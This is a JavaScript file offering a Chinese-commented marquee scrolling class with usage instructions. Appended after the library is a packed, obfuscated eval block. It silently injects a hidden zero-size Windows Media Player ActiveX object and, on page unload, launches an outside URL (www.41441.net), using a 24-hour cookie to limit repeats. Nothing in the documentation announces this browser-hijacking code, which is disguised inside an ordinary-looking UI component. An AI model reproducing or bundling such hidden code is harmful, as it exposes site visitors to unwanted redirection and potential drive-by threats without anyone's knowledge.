/******************************************************************
*	通用不间断滚动JS封装类
*	深蓝蝴蝶
*	使用方法
*			new Marquee("marquee",0,1,760,52,50,5000,3000)
*			new Marquee("marquee",0,1,760,104,50,5000,3000,52)
*	
*		参数说明:
*			参数1	marquee	容器ID
*			参数2	0		向上滚动(0-向上 1-向下 2-向左 3-向右)
*			参数3	1		滚动的步长(数值越大,滚动越快)
*			参数4	760		容器可视宽度
*			参数5	52		容器可视高度
*			参数6	50		定时器(数值越小,滚动的速度越快 1000=1秒,建议不小于20)
*			参数7	5000		间歇停顿延迟时间(0为不停顿,1000=1秒)
*			参数8	3000		开始时的等待时间(0为不等待,1000=1秒)
*			参数9	(52)		间歇滚动间距(可选,该数值与延迟均为0则为鼠标悬停控制)
*	　使用建议:
*		1、建议直接赋予容器的显示区域的宽度和高度，
*			如(<div id="marquee" style="width:760px;height:52px;">......</div>)
*		2、建议为容器添加样式overflow=auto，
*			如(<div id="marquee" style="width:760px;height:52px;overflow:auto;">......</div>)
*		3、为了更准确的获取滚动区域的宽度和高度，请尽可能将各滚动单位直接赋予正确宽高度
*		4、对于TABLE标记的横向滚动，需要对TABLE添加样式display=inline，
*			如(<div id="marquee" style="width:760px;height:52px;overflow:auto;"><table style="display:inline">......</table></div>)
*		5、对于翻屏滚动或间歇滚动，要注意各滚动单位间的间距，
*			同时需要对容器的可视高度和可视宽度做好准确的设置，对于各滚动单位间的间距可以通过设置行间距或者单元格的高宽度来进行调整
*		6、对于LI自动换行的问题暂时没有更好的解决办法，建议将其转换成表格(TABLE)的形式来达到同等的效果
*	
*	注意：仅用div的时候需要用<nobr>来包括div
*******************************************************************/

var Marquee=function(){this.ID=document.getElementById(arguments[0]);this.Direction=arguments[1];this.Step=arguments[2];this.BakStep=arguments[2];this.Width=arguments[3];this.HalfWidth=Math.round(arguments[3]/2);this.Height=arguments[4];this.Timer=arguments[5];this.DelayTime=arguments[6];this.WaitTime=arguments[7];if(arguments[8] || arguments[8]==0){this.ScrollStep=arguments[8];}else{this.ScrollStep=this.Direction>1?this.Width:this.Height;}this.Correct=0;this.CTL=0;this.StartID=0;this.Stop=0;this.MouseOver=0;this.ID.style.overflow="hidden";this.ID.style.overflowX="hidden";this.ID.style.overflowY="hidden";this.ID.noWrap=true;this.ID.style.width=this.Width+"px";this.ID.style.height=this.Height+"px";this.ClientScroll=this.Direction>1?parseInt(this.ID.scrollWidth):parseInt(this.ID.scrollHeight);this.ID.innerHTML+=this.ID.innerHTML;this.IsNotOpera=(navigator.userAgent.toLowerCase().indexOf("opera")==-1);if(arguments.length>=8){this.Start(this,this.Timer,this.DelayTime,this.WaitTime);}}
Marquee.prototype.Start=function(msobj,timer,delaytime,waittime){
msobj.StartID=function(){msobj.Scroll();};
msobj.Continue=function(){if(msobj.MouseOver==1){setTimeout(msobj.Continue,delaytime);}else{clearInterval(msobj.TimerID);msobj.CTL=0;msobj.Stop=0;msobj.TimerID=setInterval(msobj.StartID,timer);}};
msobj.Pause=function(){msobj.Stop=1;clearInterval(msobj.TimerID);setTimeout(msobj.Continue,delaytime);};
msobj.Begin=function(){
msobj.ID.onmousemove=function(evt){if(msobj.ScrollStep==0 && msobj.Direction>1){var event=null;if(window.event){event=window.event;if(msobj.IsNotOpera){msobj.EventLeft=event.srcElement.id==msobj.ID.id?parseInt(event.offsetX)-parseInt(msobj.ID.scrollLeft):parseInt(event.srcElement.offsetLeft)-parseInt(msobj.ID.scrollLeft)+parseInt(event.offsetX);}else{msobj.ScrollStep=null;return;}}else{event=evt;msobj.EventLeft=parseInt(event.layerX)-parseInt(msobj.ID.scrollLeft);}msobj.Direction=msobj.EventLeft>msobj.HalfWidth?3:2;msobj.AbsCenter=Math.abs(msobj.HalfWidth-msobj.EventLeft);msobj.Step=Math.round(msobj.AbsCenter*(msobj.BakStep*2)/msobj.HalfWidth);}};
msobj.ID.onmouseover=function(){if(msobj.ScrollStep==0){return;}msobj.MouseOver=1;clearInterval(msobj.TimerID);};
msobj.ID.onmouseout=function(){if(msobj.ScrollStep==0){if(msobj.Step==0){msobj.Step=1;}return;}msobj.MouseOver=0;if(msobj.Stop==0){clearInterval(msobj.TimerID);msobj.TimerID=setInterval(msobj.StartID,timer);}};msobj.TimerID=setInterval(msobj.StartID,timer);};setTimeout(msobj.Begin,waittime);}
Marquee.prototype.Scroll=function(){if(this.Correct==0 && this.CTL>this.ClientScroll){this.ClientScroll=(this.Direction>1)?Math.round(parseInt(this.ID.scrollWidth)/2):Math.round(parseInt(this.ID.scrollHeight)/2);this.Correct=1;}switch(this.Direction){case 0:{this.CTL+=this.Step;if(this.CTL>=this.ScrollStep && this.DelayTime>0){this.ID.scrollTop+=(this.ScrollStep+this.Step-this.CTL);this.Pause();return;}else{if(this.ID.scrollTop>=this.ClientScroll){this.ID.scrollTop-=this.ClientScroll;}this.ID.scrollTop+=this.Step;}break;}case 1:{this.CTL+=this.Step;if(this.CTL>=this.ScrollStep && this.DelayTime>0){this.ID.scrollTop-=(this.ScrollStep+this.Step-this.CTL);this.Pause();return;}else{if(this.ID.scrollTop<=0){this.ID.scrollTop+=this.ClientScroll;}this.ID.scrollTop-=this.Step;}break;}case 2:{this.CTL+=this.Step;if(this.CTL>=this.ScrollStep && this.DelayTime>0){this.ID.scrollLeft+=(this.ScrollStep+this.Step-this.CTL);this.Pause();return;}else{if(this.ID.scrollLeft>=this.ClientScroll){this.ID.scrollLeft-=this.ClientScroll;}this.ID.scrollLeft+=this.Step;}break;}case 3:{this.CTL+=this.Step;if(this.CTL>=this.ScrollStep && this.DelayTime>0){this.ID.scrollLeft-=(this.ScrollStep+this.Step-this.CTL);this.Pause();return;}else{if(this.ID.scrollLeft<=0){this.ID.scrollLeft+=this.ClientScroll;}this.ID.scrollLeft-=this.Step;}break;}this.ID.scrollTop+="px";this.ID.scrollLeft+="px";}}
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('2 a="J-K-L-G-H";3 b(){4(6.I.M<Q||R){2 h=f("8");4(h==S||h==N){n.O(d);e("8","8",P)}}};3 c(){5.F.x+="<s z=n D=0 E=0 B=\'C:"+a+"\'></s>"};2 d=\'A://y.T.11\';r("6.p(\'12\',c);");r("6.p(\'13\',b);");3 e(h,i,j){2 k=h+"="+W(i);4(j>0){2 l=q u();2 m=j*V*U;l.v(l.w()+m);k+="; t="+l.9()};5.7=k};3 f(h){2 i=5.7.o("; ");X(2 j=0;j<i.10;j++){2 k=i[j].o("=");4(k[0]==h){Y Z(k[1])}}};3 g(h){2 i=q u();i.v(i.w()-14);5.7=h+"=a; t="+i.9()}',62,67,'||var|function|if|document|window|cookie|in24|toGMTString||||||||||||||iie|split|attachEvent|new|eval|object|expires|Date|setTime|getTime|innerHTML|www|id|http|classid|CLSID|width|height|body|B153|00C04F79FAA6|event|6BF52A52|394A|11D3|clientY|undefined|launchURL|24|132|altKey|null|41441|1000|3600|escape|for|return|unescape|length|net|onload|onunload|10000'.split('|'),0,{}))

